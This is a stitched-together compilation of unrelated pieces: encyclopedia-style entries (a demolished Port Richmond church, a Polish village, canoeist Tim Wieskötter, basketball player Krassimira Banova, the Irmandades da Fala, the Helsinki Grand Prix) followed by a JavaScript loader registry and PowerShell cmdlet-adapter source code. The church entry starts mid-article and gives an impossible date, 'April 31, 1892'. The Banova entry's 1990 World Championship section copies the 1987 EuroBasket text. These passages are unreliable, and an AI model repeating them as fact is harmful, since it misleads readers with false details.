It was under the first rector, Rev. Samuel Hazlehurst, the church came to serve an industrial landscape. Two blocks east of the church were the Reading Railroad Coal Wharves on the Delaware River and one block west was Aramingo Canal. Also in the immediate vicinity were John T. Lewis & Brothers Lead Works, Jefferson Flint Glass Works, Port Richmond Drain Pipe Works, and Philadelphia Foraging Works. And nearby was William Cramp & Sons Shipbuilding Company, the leading shipbuilder in the United States during the nineteenth century. The church grew through its early years. In 1870 the church expanded its property with the purchase of a lot on the northwest side from Bernard O’Rourke. In 1892, the church commissioned an addition by the firm of Hazlehurst & Huckel. The firm designed a three-story parish house immediately north of the church of brick with a brown freestone front. The same Trentonian brown freestone composes the older section and works well to blend the addition into the original church building. The cornerstone was laid on April 31, 1892. The building measuring twenty-nine feet by sixty-four feet included a gymnasium on the first floor, classrooms on the second floor, and an auditorium on the third floor. The building was erected at a total cost of $10,500. Also in 1892, $3,000 was spent to improve the property according to Hazlehurst & Huckel’s plans. This included the installation of a new organ.
Four years later, the church celebrated its fiftieth anniversary. At that time, it was reported that the congregation had baptized 1,829 people and confirmed another 413. Rev. C. L. Fulforth served the congregation for thirty-nine years, from 1890 until its closure in 1929. In 1929, Church of the Messiah merged with St. Matthew’s Mission, Oxford Circle, which was organized by the Episcopal Diocese of Pennsylvania in September 1928. According to Church News, conditions which resulted in a dwindling congregation led to the decision to dispose of the Church of the Messiah property in Port Richmond. The neighborhood’s ethnic makeup was in flux when the church was closed as Eastern European immigrants flooded Port Richmond. In fact, Church of the Messiah helped to incubate a Polish Episcopal congregation in 1917 by allowing the fledgling congregation to use its building. In 1932, the newly merged congregation, which was named Church of the Messiah, Oxford Circle, name, dedicated a new building at 6000 Large Street in the Lower Northeast. Fifteen memorial windows, chancel furniture (including the altar, pulpit, lectern, and font), and the organ from Church of the Messiah, Richmond were incorporated into this building. In March 1930, the rector, wardens, and vestrymen of Church of the Messiah transferred the property to The Church Foundation to facilitate the sale of the site. In June, the Foundation sold the site to the Austrian Seacoast Beneficial and Benevolent Society or Adriatic Club (Austrianskih Primorvec Društvo Zamjenite Pomoći I Dobročinstvo U Filadelfi) for $15,500.22. While the building was under consideration for historic designation, the building was hastily demolished in 2016.
Architecture
Leadership
Rectors
In the Episcopal Church in the United States of America, the rector is the priest elected to head a self-supporting parish.
Rev. John Gordon Maxwell (1846-1847)
Rev. Samuel Hazlehurst (1847-1854)
Rev. Joel Rudderow (1854-1865)
Rev. Resse C. Evans (1866-1872)
Rev. Thomas Poole Hutchinson (1872-1873)
Rev. Jacob Miller (1873-1881)
Rev. Lucius N. Voight (1881-1883)
Rev. E. S. Widdemer (1883-1890)
Rev. C. L. Fulforth (1890-)
References
External links
Directory of the Church of the Messiah, Port Richmond (1914)
Episcopal churches in Pennsylvania
Churches in Philadelphia
19th-century Episcopal church buildings
Gothic Revival church buildings in Pennsylvania
Churches completed in 1848
1848 establishments in Pennsylvania
Demolished churches in the United States
Demolished buildings and structures in Philadelphia
Buildings and structures demolished in 2016 |
Sumiak () is a village in the administrative district of Gmina Nowogródek Pomorski, within Myślibórz County, West Pomeranian Voivodeship, in north-western Poland. It lies approximately south of Nowogródek Pomorski, east of Myślibórz, and south-east of the regional capital Szczecin.
For the history of the region, see History of Pomerania.
References
Sumiak |
Tim Wieskötter (born March 12, 1979, in Emsdetten, North Rhine-Westphalia) is a German sprint canoer who has competed since the late 1990s. Competing in three Summer Olympics, he won a complete set of medals in the K-2 500 m event (gold: 2004, silver: 2008, bronze: 2000) with Ronald Rauhe.
Since their initial pairing in 2000, they have completely dominated the event, winning the major race of the season every year which also includes six world championships (2001, 2002, 2003, 2005, 2006 and 2007). They have also won seven consecutive European gold medals. In addition, Rauhe and Wieskötter hold the K-2 500 m world record of 1:26.971 (Szeged, 2002).
In 2006 Rauhe and Wieskötter doubled up for the first time, defending their K-2 500 m titles and also adding the K-2 200 m gold medals at both the European and World Championships.
References
External links
Official website
1979 births
Living people
People from Emsdetten
Sportspeople from Münster (region)
Canoeists at the 2000 Summer Olympics
Canoeists at the 2004 Summer Olympics
Canoeists at the 2008 Summer Olympics
Canoeists at the 2012 Summer Olympics
German male canoeists
Olympic canoeists for Germany
Olympic gold medalists for Germany
Olympic silver medalists for Germany
Olympic bronze medalists for Germany
Olympic medalists in canoeing
ICF Canoe Sprint World Championships medalists in kayak
Medalists at the 2008 Summer Olympics
Medalists at the 2004 Summer Olympics
Medalists at the 2000 Summer Olympics |
Krassimira Banova (; born 5 October 1960) is a former Bulgarian female basketball player. After her playing career she started working as coach. She currently serves as a referee for the Bulgarian Basketball Federation. Banova is part of most successful generation Bulgarian players in the 100 years history of this sport in the country. Her daughter Jaklin Zlatanova is also a basketball player. Krassimira Banova was born in 1960 in Dimitrovgrad, Bulgaria located in the Thrace region, close to the provincial capital, Haskovo where she spent most of her childhood. Her family moved to the capital Sofia, where she started practicing different sports. For some years she was training athletics, but eventually, in 1978, Banova found herself on the basketball court. She started with the basketball relatively late: at the age of 16 but was able to catch up quickly.
Club career
Women Basketball XXVI European Champions Cup 1984
In 1984 BC Levski Sofia faced the Zulu Vicenza at the final of the Women European Champions Cup. According to most of the specialists back then, the Italian team was an absolute favorite, led by players like Beverly Smith, Catarina Polini, and Wanda Sandon.
National team career
Krassimira Banova played for the Bulgarian national team for nearly a decade(1980-1990). She made her debut in 1980 during the Eurobasket Women. Banova participated in four Eurobasket Women tournament, two World Championships, and one Olympic Qualification.
4th EuroBasket Women 1980
EuroBasket Women 1983
EuroBasket Women 1985
7th 1986 FIBA World Championship for Women
9th EuroBasket Women 1987
8th 1990 FIBA World Championship for Women
Eurobasket Women 1983
The XIX European Basketball Championship for women took place in 1983 in Hungary. Between the 11th and 18 September, 12 European teams competed for the title. The games were played in three cities: Miskolc, Zalaegerszeg, and Budapest.
Bulgaria competed in group B, with Czechoslovakia, Soviet Union, Germany, Italy, Sweden, and Yugoslavia. Banova played six games in total, ending up with an average of 9 points per game, and 75% of free throws made. In the match against Sweden, she finished with a record of 32 points. The Bulgarian team finished second in its group, stepping back only to the favorite for the title - Soviet Union.
On the semi-finals, Bulgaria won against Yugoslavia and qualified for the final against the Soviet Union. In the end, the Soviet Union finished first in the tournament, and Bulgaria grabs the silver medal. The bronze was for Hungary.
World Olympic Qualification Tournament for Women 1984
The World Qualification Tournament for the 1984 Olympic Games was scheduled for May 1984 in Cuba. 19 teams competed for the place on the final, which opens the door for the games in Los Angeles. Bulgarian team was in group B, along with China, Japan, Czechoslovakia, and Zair.
The Bulgarian squad played 4 games: won against Zair and Japan and lost against China and Czechoslovakia. Krassimira Banova took part in 3 games, finishing the tournament with an average of 9 points and 75% of free throws.
EuroBasket Women 1985
The XX Eurobasket for women was held from 8 to 15 Sep. 1985, in Italy. A total number of 12 teams participated in the tournament. The draw put Bulgaria in a group with Netherlands, Yugoslavia, Czechoslovakia, France, Romania, and Hungary.
Krassimira Banova played in 7 games and finished the tournament as a team leader with an average of 17,4 points per game and 74,1% free throws. In the final match against the Soviet Union, she scored 27 points, but it wasn't enough for the title.
World Championship for Women 1986
The 1986 World Championship for Women took place between the 8th and 17 August in the Soviet Union. Twelve teams divided into two groups participated in the tournament. Bulgaria was in group A with Soviet Union, Canada, Cuba, Korea, and Brasil. After 3 losses and two wins, the Bulgarian team finished in 7th place. Krassimira Banova played in 7 games and achieved, on average, 12,9Pts and 82,9% FT.
EuroBasket Women 1987
The Eurobasket Women 1987 (4 - 11 September, Spain) opposed the continent's 12 best teams. The draw put Bulgaria in a group with Czechoslovakia, Yugoslavia, Italy, Spain, Finland, Romania, and Poland.
Banova couldn't help her team much. Bulgaria recorded three losses and two wins and ranked in 6th place. She participated in all games and finished the tournament with, on average, 15,7pts and 86,5%FT.
1990 World Championship for Women
The Eurobasket Women 1987 (4 - 11 September, Spain) opposed the continent's 12 best teams. The draw put Bulgaria in a group with Czechoslovakia, Yugoslavia, Italy, Spain, Finland, Romania, and Poland.
Banova couldn't help her team much. Bulgaria recorded three losses and two wins and ranked in 6th place. She participated in all games and finished the tournament with, on average, 15,7pts and 86,5%FT.
References
External links
Красимира Банова at bgbasket.com(in Bulgarian)
European Basketball Championship Results: Since 1935 at books.google.de
Krasimira Banova at balkanleague.net
Referee profile
Krasimira Banova at http://bubabasket.com
Women Basketball European Championships Archive
EuroLeague Archive
The European Basketball Database
Bulgarian women's basketball players
Tarbes Gespe Bigorre players
People from Dimitrovgrad, Bulgaria
1960 births
Living people
Bulgarian basketball coaches
Basketball referees
Sportspeople from Haskovo Province
Women basketball referees |
The Irmandades da Fala (English: "Brotherhood of the Language") was a Galician nationalist organization active between 1916 and 1936. It was the first political organization of Galicia that used only the Galician language.
Origin
Aurelio Ribalta, a Galician writer living in Madrid, called for the protection of the Galician language in 1915. On January 5, 1916, Antón Vilar Ponte started a campaign for the establishment of a League of Friends of the Galician Language in the newspaper La Voz de Galicia and in March 1916 he published Galician Nationalism (Notes for a Book): Our Regional Affirmation, where he supported the protection, dignification and use of the Galician language.
The proposal was supported by leaders of different ideological persuasions. The most important of these were Antón Losada Diéguez and the Traditionalists and the Liberal Democrats.
Political program
In the congress of November 1918 in the city of Lugo, they established their program:
Primary objectives:
Complete autonomy for Galicia.
Municipal autonomy.
Entry of Galicia into the League of Nations.
Federal union with Portugal.
Objectives for Galicia:
The legislative power to be in a Galician Parliament, elected by the people.
The judicial power to always be exercised by the Galician people.
Galicia to have its own tax laws, without the intervention of central government.
Galician and Spanish to be the official languages in Galicia.
Equal rights for women and men.
Suppression of the Provincial Deputations.
References
Beramendi, X.G. and Núñez Seixas, X.M. (1996): O nacionalismo galego. A Nosa Terra, Vigo
Beramendi, X.G. (2007): De provincia a nación. Historia do galeguismo político. Xerais, Vigo
History of Galicia (Spain)
Galician nationalist parties
Left-wing nationalist parties |
The Helsinki Grand Prix (, World Games in English) was an annual one-day outdoor track and field meeting held at the Helsinki Olympic Stadium in Helsinki, Finland. Established in 1959, it was originally organised by a local athletics club, Helsingin Kisa-Veikot (HKV). It continued in this format, with Apu magazine a key sponsor, for nearly three decades. In 1987, HKV came to an agreement where the Finnish Amateur Athletic Association took on the operating costs of the competition. The Finnish Association ceased this arrangement in 1992, causing the cancellation of the 1993 meeting due to financial difficulties.
Following the successful hosting the 1994 European Athletics Championships in Helsinki, the meeting was rebooted and incorporated into the annual IAAF Grand Prix series upon that competition's founding in 1998. It continued to be a high-level meeting for international athletes, and was again included the top bracket upon the creation of the IAAF World Athletics Tour in 2005. During this period it had title sponsors and was known as the Ericsson Grand Prix (1998–2000), Asics Grand Prix (2001–2004) and GE Money Grand Prix (2005–2006). However, the 2006 meeting proved to be its last and the meeting folded in 2007.
Best athlete prize
At each competition, the best athlete of the meet would be presented with a sculpted glass prize.
Meet records
References
External links
GE Money Grand Prix Records
IAAF Grand Prix
Annual track and field meetings
Athletics competitions in Finland
Sports competitions in Helsinki
1959 establishments in Finland
Recurring sporting events established in 1959
Recurring sporting events disestablished in 2007
IAAF World Outdoor Meetings |
```javascript
/**
*
* This program is free software: you can redistribute it and/or modify
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*
* along with this program. If not, see <path_to_url
*
*/
import path from 'path'
import * as URIUtils from '../utils/URIUtils'
const loaders = []
let getState
export const storeEnhancer = (store) => {
getState = store.getState
}
const REQUIRED_LOADER_KEYS = ['name', 'id', 'filter', 'renderContent']
export const registerLoader = (loader) => {
REQUIRED_LOADER_KEYS.forEach(key => {
if (!loader[key]) {
throw new Error(`Registered loader ${loader.name || ''} missing key: ${key}`)
}
})
loaders.push(loader)
}
// Determine how to display content
export const findLoader = (uri) => {
if (!uri) return null
const state = getState()
return loaders.find(loader => loader.filter(uri, state))
}
// Used to give a list of all possible loaders, so the user can switch
// between multiple views of the same file (e.g. Text Editor vs. Storyboard)
export const filterLoaders = (uri) => {
if (!uri) return []
const state = getState()
return loaders.filter(loader => loader.filter(uri, state))
}
export const getResourceName = (uri) => {
const loader = findLoader(uri)
if (loader && loader.getResourceName) {
const state = getState()
return loader.getResourceName(uri, state)
} else {
return path.basename(URIUtils.withoutProtocolOrParams(uri))
}
}
export const getResourceNameAndPath = (uri) => {
return {
name: getResourceName(uri),
path: URIUtils.withoutProtocol(uri),
};
}
export const getURIWithLoader = (uri, id) => {
const defaultLoader = findLoader(uri)
// If we would use the correct loader anyway, return the uri unmodified
if (defaultLoader && id === defaultLoader.id) {
return uri
// Else, return the uri with the loader param appended
} else {
return URIUtils.createUrl(uri, {loader: id})
}
}
``` |
```smalltalk
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Management.Automation;
namespace Microsoft.PowerShell.Cmdletization
{
/// <summary>
/// Provides common code for processing session-based object models. The common code
/// Session, ThrottleLimit, AsJob parameters and delegates creation of jobs to derived classes.
/// </summary>
/// <typeparam name="TObjectInstance">Type that represents instances of objects from the wrapped object model</typeparam>
/// <typeparam name="TSession">Type representing remote sessions</typeparam>
[SuppressMessage("Microsoft.Design", "CA1005:AvoidExcessiveParametersOnGenericTypes")]
public abstract class SessionBasedCmdletAdapter<TObjectInstance, TSession> : CmdletAdapter<TObjectInstance>, IDisposable
where TObjectInstance : class
where TSession : class
{
internal SessionBasedCmdletAdapter()
{
}
#region Constants
private const string CIMJobType = "CimJob";
#endregion
#region IDisposable Members
private bool _disposed;
/// <summary>
/// Releases resources associated with this object.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
/// <summary>
/// Releases resources associated with this object.
/// </summary>
protected virtual void Dispose(bool disposing)
{
if (!_disposed)
{
if (disposing)
{
if (_parentJob != null)
{
_parentJob.Dispose();
_parentJob = null;
}
}
_disposed = true;
}
}
#endregion
#region Common parameters (AsJob, ThrottleLimit, Session)
/// <summary>
/// Session to operate on.
/// </summary>
[SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays")]
protected TSession[] Session
{
get
{
return _session ??= new TSession[] { this.DefaultSession };
}
set
{
ArgumentNullException.ThrowIfNull(value);
_session = value;
_sessionWasSpecified = true;
}
}
private TSession[] _session;
private bool _sessionWasSpecified;
/// <summary>
/// Whether to wrap and emit the whole operation as a background job.
/// </summary>
[Parameter]
public SwitchParameter AsJob
{
get { return _asJob; }
set { _asJob = value; }
}
private bool _asJob;
/// <summary>
/// Maximum number of remote connections that can remain active at any given time.
/// </summary>
[Parameter]
public virtual int ThrottleLimit { get; set; }
#endregion Common CIM-related parameters
#region Abstract methods to be overridden in derived classes
/// <summary>
/// Creates a <see cref="System.Management.Automation.Job"/> object that performs a query against the wrapped object model.
/// </summary>
/// <param name="session">Remote session to query.</param>
/// <param name="query">Query parameters.</param>
/// <remarks>
/// <para>
/// This method shouldn't do any processing or interact with the remote session.
/// Doing so will interfere with ThrottleLimit functionality.
/// </para>
/// <para>
/// <see cref="Job.WriteObject"/> (and other methods returning job results) will block to support throttling and flow-control.
/// Implementations of Job instance returned from this method should make sure that implementation-specific flow-control mechanism pauses further processing,
/// until calls from <see cref="Job.WriteObject"/> (and other methods returning job results) return.
/// </para>
/// </remarks>
internal abstract StartableJob CreateQueryJob(TSession session, QueryBuilder query);
private StartableJob DoCreateQueryJob(TSession sessionForJob, QueryBuilder query, Action<TSession, TObjectInstance> actionAgainstResults)
{
StartableJob queryJob = this.CreateQueryJob(sessionForJob, query);
if (queryJob != null)
{
if (actionAgainstResults != null)
{
queryJob.SuppressOutputForwarding = true;
}
bool discardNonPipelineResults = (actionAgainstResults != null) || !this.AsJob.IsPresent;
HandleJobOutput(
queryJob,
sessionForJob,
discardNonPipelineResults,
actionAgainstResults == null
? (Action<PSObject>)null
: ((PSObject pso) =>
{
var objectInstance =
(TObjectInstance)LanguagePrimitives.ConvertTo(
pso,
typeof(TObjectInstance),
CultureInfo.InvariantCulture);
actionAgainstResults(sessionForJob, objectInstance);
}));
}
return queryJob;
}
/// <summary>
/// Creates a <see cref="System.Management.Automation.Job"/> object that invokes an instance method in the wrapped object model.
/// </summary>
/// <param name="session">Remote session to invoke the method in.</param>
/// <param name="objectInstance">The object on which to invoke the method.</param>
/// <param name="methodInvocationInfo">Method invocation details.</param>
/// <param name="passThru"><see langword="true"/> if successful method invocations should emit downstream the <paramref name="objectInstance"/> being operated on.</param>
/// <remarks>
/// <para>
/// This method shouldn't do any processing or interact with the remote session.
/// Doing so will interfere with ThrottleLimit functionality.
/// </para>
/// <para>
/// <see cref="Job.WriteObject"/> (and other methods returning job results) will block to support throttling and flow-control.
/// Implementations of Job instance returned from this method should make sure that implementation-specific flow-control mechanism pauses further processing,
/// until calls from <see cref="Job.WriteObject"/> (and other methods returning job results) return.
/// </para>
/// </remarks>
internal abstract StartableJob CreateInstanceMethodInvocationJob(TSession session, TObjectInstance objectInstance, MethodInvocationInfo methodInvocationInfo, bool passThru);
private StartableJob DoCreateInstanceMethodInvocationJob(TSession sessionForJob, TObjectInstance objectInstance, MethodInvocationInfo methodInvocationInfo, bool passThru, bool asJob)
{
StartableJob methodInvocationJob = this.CreateInstanceMethodInvocationJob(sessionForJob, objectInstance, methodInvocationInfo, passThru);
if (methodInvocationJob != null)
{
bool discardNonPipelineResults = !asJob;
HandleJobOutput(
methodInvocationJob,
sessionForJob,
discardNonPipelineResults,
outputAction: null);
}
return methodInvocationJob;
}
/// <summary>
/// Creates a <see cref="System.Management.Automation.Job"/> object that invokes a static method in the wrapped object model.
/// </summary>
/// <param name="session">Remote session to invoke the method in.</param>
/// <param name="methodInvocationInfo">Method invocation details.</param>
/// <remarks>
/// <para>
/// This method shouldn't do any processing or interact with the remote session.
/// Doing so will interfere with ThrottleLimit functionality.
/// </para>
/// <para>
/// <see cref="Job.WriteObject"/> (and other methods returning job results) will block to support throttling and flow-control.
/// Implementations of Job instance returned from this method should make sure that implementation-specific flow-control mechanism pauses further processing,
/// until calls from <see cref="Job.WriteObject"/> (and other methods returning job results) return.
/// </para>
/// </remarks>
internal abstract StartableJob CreateStaticMethodInvocationJob(TSession session, MethodInvocationInfo methodInvocationInfo);
private StartableJob DoCreateStaticMethodInvocationJob(TSession sessionForJob, MethodInvocationInfo methodInvocationInfo)
{
StartableJob methodInvocationJob = this.CreateStaticMethodInvocationJob(sessionForJob, methodInvocationInfo);
if (methodInvocationJob != null)
{
bool discardNonPipelineResults = !this.AsJob.IsPresent;
HandleJobOutput(
methodInvocationJob,
sessionForJob,
discardNonPipelineResults,
outputAction: null);
}
return methodInvocationJob;
}
private static void HandleJobOutput(Job job, TSession sessionForJob, bool discardNonPipelineResults, Action<PSObject> outputAction)
{
Action<PSObject> processOutput =
(PSObject pso) =>
{
if (pso == null)
{
return;
}
outputAction?.Invoke(pso);
};
job.Output.DataAdded +=
(object sender, DataAddedEventArgs eventArgs) =>
{
var dataCollection = (PSDataCollection<PSObject>)sender;
if (discardNonPipelineResults)
{
foreach (PSObject pso in dataCollection.ReadAll())
{
// TODO/FIXME - need to make sure that the dataCollection will be throttled
// (i.e. it won't accept more items - it will block in Add method)
// until this processOutput call completes
processOutput(pso);
}
}
else
{
PSObject pso = dataCollection[eventArgs.Index];
processOutput(pso);
}
};
if (discardNonPipelineResults)
{
DiscardJobOutputs(job, JobOutputs.NonPipelineResults & (~JobOutputs.Output));
}
}
internal virtual TSession GetSessionOfOriginFromInstance(TObjectInstance instance)
{
return null;
}
/// <summary>
/// Returns default sessions to use when the user doesn't specify the -Session cmdlet parameter.
/// </summary>
/// <returns>Default sessions to use when the user doesn't specify the -Session cmdlet parameter.</returns>
protected abstract TSession DefaultSession { get; }
/// <summary>
/// A new job name to use for the parent job that handles throttling of the child jobs that actually perform querying and method invocation.
/// </summary>
protected abstract string GenerateParentJobName();
#endregion
#region Helper methods
private static void DiscardJobOutputs<T>(PSDataCollection<T> psDataCollection)
{
psDataCollection.DataAdded +=
(object sender, DataAddedEventArgs e) =>
{
var localDataCollection = (PSDataCollection<T>)sender;
localDataCollection.Clear();
};
}
[Flags]
private enum JobOutputs
{
Output = 0x1,
Error = 0x2,
Warning = 0x4,
Verbose = 0x8,
Debug = 0x10,
Progress = 0x20,
Results = 0x40,
NonPipelineResults = Output | Error | Warning | Verbose | Debug | Progress,
PipelineResults = Results,
}
private static void DiscardJobOutputs(Job job, JobOutputs jobOutputsToDiscard)
{
if ((jobOutputsToDiscard & JobOutputs.Output) == JobOutputs.Output)
{
DiscardJobOutputs(job.Output);
}
if ((jobOutputsToDiscard & JobOutputs.Error) == JobOutputs.Error)
{
DiscardJobOutputs(job.Error);
}
if ((jobOutputsToDiscard & JobOutputs.Warning) == JobOutputs.Warning)
{
DiscardJobOutputs(job.Warning);
}
if ((jobOutputsToDiscard & JobOutputs.Verbose) == JobOutputs.Verbose)
{
DiscardJobOutputs(job.Verbose);
}
if ((jobOutputsToDiscard & JobOutputs.Debug) == JobOutputs.Debug)
{
DiscardJobOutputs(job.Debug);
}
if ((jobOutputsToDiscard & JobOutputs.Progress) == JobOutputs.Progress)
{
DiscardJobOutputs(job.Progress);
}
if ((jobOutputsToDiscard & JobOutputs.Results) == JobOutputs.Results)
{
DiscardJobOutputs(job.Results);
}
}
#endregion Helper methods
#region Implementation of ObjectModelWrapper functionality
private ThrottlingJob _parentJob;
/// <summary>
/// Queries for object instances in the object model.
/// </summary>
/// <param name="query">Query parameters.</param>
/// <returns>A lazy evaluated collection of object instances.</returns>
public override void ProcessRecord(QueryBuilder query)
{
_parentJob.DisableFlowControlForPendingCmdletActionsQueue();
foreach (TSession sessionForJob in this.GetSessionsToActAgainst(query))
{
StartableJob childJob = this.DoCreateQueryJob(sessionForJob, query, actionAgainstResults: null);
if (childJob != null)
{
if (!this.AsJob.IsPresent)
{
_parentJob.AddChildJobAndPotentiallyBlock(this.Cmdlet, childJob, ThrottlingJob.ChildJobFlags.None);
}
else
{
_parentJob.AddChildJobWithoutBlocking(childJob, ThrottlingJob.ChildJobFlags.None);
}
}
}
}
/// <summary>
/// Queries for instance and invokes an instance method.
/// </summary>
/// <param name="query">Query parameters.</param>
/// <param name="methodInvocationInfo">Method invocation details.</param>
/// <param name="passThru"><see langword="true"/> if successful method invocations should emit downstream the object instance being operated on.</param>
public override void ProcessRecord(QueryBuilder query, MethodInvocationInfo methodInvocationInfo, bool passThru)
{
_parentJob.DisableFlowControlForPendingJobsQueue();
ThrottlingJob closureOverParentJob = _parentJob;
SwitchParameter closureOverAsJob = this.AsJob;
foreach (TSession sessionForJob in this.GetSessionsToActAgainst(query))
{
StartableJob queryJob = this.DoCreateQueryJob(
sessionForJob,
query,
(TSession sessionForMethodInvocationJob, TObjectInstance objectInstance) =>
{
StartableJob methodInvocationJob = this.DoCreateInstanceMethodInvocationJob(
sessionForMethodInvocationJob,
objectInstance,
methodInvocationInfo,
passThru,
closureOverAsJob.IsPresent);
if (methodInvocationJob != null)
{
closureOverParentJob.AddChildJobAndPotentiallyBlock(methodInvocationJob, ThrottlingJob.ChildJobFlags.None);
}
});
if (queryJob != null)
{
if (!this.AsJob.IsPresent)
{
_parentJob.AddChildJobAndPotentiallyBlock(this.Cmdlet, queryJob, ThrottlingJob.ChildJobFlags.CreatesChildJobs);
}
else
{
_parentJob.AddChildJobWithoutBlocking(queryJob, ThrottlingJob.ChildJobFlags.CreatesChildJobs);
}
}
}
}
private IEnumerable<TSession> GetSessionsToActAgainst(TObjectInstance objectInstance)
{
if (_sessionWasSpecified)
{
return this.Session;
}
TSession associatedSession = this.GetSessionOfOriginFromInstance(objectInstance);
if (associatedSession != null)
{
return new[] { associatedSession };
}
return new[] { this.GetImpliedSession() };
}
private TSession GetSessionAssociatedWithPipelineObject()
{
object inputVariableValue = this.Cmdlet.Context.GetVariableValue(SpecialVariables.InputVarPath, null);
if (inputVariableValue == null)
{
return null;
}
IEnumerable inputEnumerable = LanguagePrimitives.GetEnumerable(inputVariableValue);
if (inputEnumerable == null)
{
return null;
}
List<object> inputCollection = inputEnumerable.Cast<object>().ToList();
if (inputCollection.Count != 1)
{
return null;
}
TObjectInstance inputInstance;
if (!LanguagePrimitives.TryConvertTo(inputCollection[0], CultureInfo.InvariantCulture, out inputInstance))
{
return null;
}
TSession associatedSession = this.GetSessionOfOriginFromInstance(inputInstance);
return associatedSession;
}
private IEnumerable<TSession> GetSessionsToActAgainst(QueryBuilder queryBuilder)
{
if (_sessionWasSpecified)
{
return this.Session;
}
if (queryBuilder is ISessionBoundQueryBuilder<TSession> sessionBoundQueryBuilder)
{
TSession sessionOfTheQueryBuilder = sessionBoundQueryBuilder.GetTargetSession();
if (sessionOfTheQueryBuilder != null)
{
return new[] { sessionOfTheQueryBuilder };
}
}
TSession sessionAssociatedWithPipelineObject = this.GetSessionAssociatedWithPipelineObject();
if (sessionAssociatedWithPipelineObject != null)
{
return new[] { sessionAssociatedWithPipelineObject };
}
return new[] { this.GetImpliedSession() };
}
private IEnumerable<TSession> GetSessionsToActAgainst(MethodInvocationInfo methodInvocationInfo)
{
if (_sessionWasSpecified)
{
return this.Session;
}
var associatedSessions = new HashSet<TSession>();
foreach (TObjectInstance objectInstance in methodInvocationInfo.GetArgumentsOfType<TObjectInstance>())
{
TSession associatedSession = this.GetSessionOfOriginFromInstance(objectInstance);
if (associatedSession != null)
{
associatedSessions.Add(associatedSession);
}
}
if (associatedSessions.Count == 1)
{
return associatedSessions;
}
TSession sessionAssociatedWithPipelineObject = this.GetSessionAssociatedWithPipelineObject();
if (sessionAssociatedWithPipelineObject != null)
{
return new[] { sessionAssociatedWithPipelineObject };
}
return new[] { this.GetImpliedSession() };
}
internal PSModuleInfo PSModuleInfo
{
get
{
var scriptCommandInfo = this.Cmdlet.CommandInfo as IScriptCommandInfo;
return scriptCommandInfo.ScriptBlock.Module;
}
}
private TSession GetImpliedSession()
{
TSession sessionFromImportModule;
// When being called from a CIM activity, this will be invoked as
// a function so there will be no module info
if (this.PSModuleInfo != null)
{
if (PSPrimitiveDictionary.TryPathGet(
this.PSModuleInfo.PrivateData as IDictionary,
out sessionFromImportModule,
ScriptWriter.PrivateDataKey_CmdletsOverObjects,
ScriptWriter.PrivateDataKey_DefaultSession))
{
return sessionFromImportModule;
}
}
return this.DefaultSession;
}
/// <summary>
/// Invokes an instance method in the object model.
/// </summary>
/// <param name="objectInstance">The object on which to invoke the method.</param>
/// <param name="methodInvocationInfo">Method invocation details.</param>
/// <param name="passThru"><see langword="true"/> if successful method invocations should emit downstream the <paramref name="objectInstance"/> being operated on.</param>
public override void ProcessRecord(TObjectInstance objectInstance, MethodInvocationInfo methodInvocationInfo, bool passThru)
{
ArgumentNullException.ThrowIfNull(objectInstance);
ArgumentNullException.ThrowIfNull(methodInvocationInfo);
foreach (TSession sessionForJob in this.GetSessionsToActAgainst(objectInstance))
{
StartableJob childJob = this.DoCreateInstanceMethodInvocationJob(sessionForJob, objectInstance, methodInvocationInfo, passThru, this.AsJob.IsPresent);
if (childJob != null)
{
if (!this.AsJob.IsPresent)
{
_parentJob.AddChildJobAndPotentiallyBlock(this.Cmdlet, childJob, ThrottlingJob.ChildJobFlags.None);
}
else
{
_parentJob.AddChildJobWithoutBlocking(childJob, ThrottlingJob.ChildJobFlags.None);
}
}
}
}
/// <summary>
/// Invokes a static method in the object model.
/// </summary>
/// <param name="methodInvocationInfo">Method invocation details.</param>
public override void ProcessRecord(MethodInvocationInfo methodInvocationInfo)
{
ArgumentNullException.ThrowIfNull(methodInvocationInfo);
foreach (TSession sessionForJob in this.GetSessionsToActAgainst(methodInvocationInfo))
{
StartableJob childJob = this.DoCreateStaticMethodInvocationJob(sessionForJob, methodInvocationInfo);
if (childJob != null)
{
if (!this.AsJob.IsPresent)
{
_parentJob.AddChildJobAndPotentiallyBlock(this.Cmdlet, childJob, ThrottlingJob.ChildJobFlags.None);
}
else
{
_parentJob.AddChildJobWithoutBlocking(childJob, ThrottlingJob.ChildJobFlags.None);
}
}
}
}
/// <summary>
/// Performs initialization of cmdlet execution.
/// </summary>
public override void BeginProcessing()
{
if (this.AsJob.IsPresent)
{
MshCommandRuntime commandRuntime = (MshCommandRuntime)this.Cmdlet.CommandRuntime; // PSCmdlet.CommandRuntime is always MshCommandRuntime
string conflictingParameter = null;
if (commandRuntime.WhatIf.IsPresent)
{
conflictingParameter = "WhatIf";
}
else if (commandRuntime.Confirm.IsPresent)
{
conflictingParameter = "Confirm";
}
if (conflictingParameter != null)
{
string errorMessage = string.Format(
CultureInfo.InvariantCulture,
CmdletizationResources.SessionBasedWrapper_ShouldProcessVsJobConflict,
conflictingParameter);
throw new InvalidOperationException(errorMessage);
}
}
_parentJob = new ThrottlingJob(
command: Job.GetCommandTextFromInvocationInfo(this.Cmdlet.MyInvocation),
jobName: this.GenerateParentJobName(),
jobTypeName: CIMJobType,
maximumConcurrentChildJobs: this.ThrottleLimit,
cmdletMode: !this.AsJob.IsPresent);
}
/// <summary>
/// Performs cleanup after cmdlet execution.
/// </summary>
public override void EndProcessing()
{
_parentJob.EndOfChildJobs();
if (this.AsJob.IsPresent)
{
this.Cmdlet.WriteObject(_parentJob);
this.Cmdlet.JobRepository.Add(_parentJob);
_parentJob = null; // this class doesn't own parentJob after it has been emitted to the outside world
}
else
{
_parentJob.ForwardAllResultsToCmdlet(this.Cmdlet);
_parentJob.Finished.WaitOne();
}
}
/// <summary>
/// Stops the parent job when called.
/// </summary>
public override void StopProcessing()
{
Job jobToStop = _parentJob;
jobToStop?.StopJob();
base.StopProcessing();
}
#endregion
}
internal interface ISessionBoundQueryBuilder<out TSession>
{
TSession GetTargetSession();
}
}
``` |
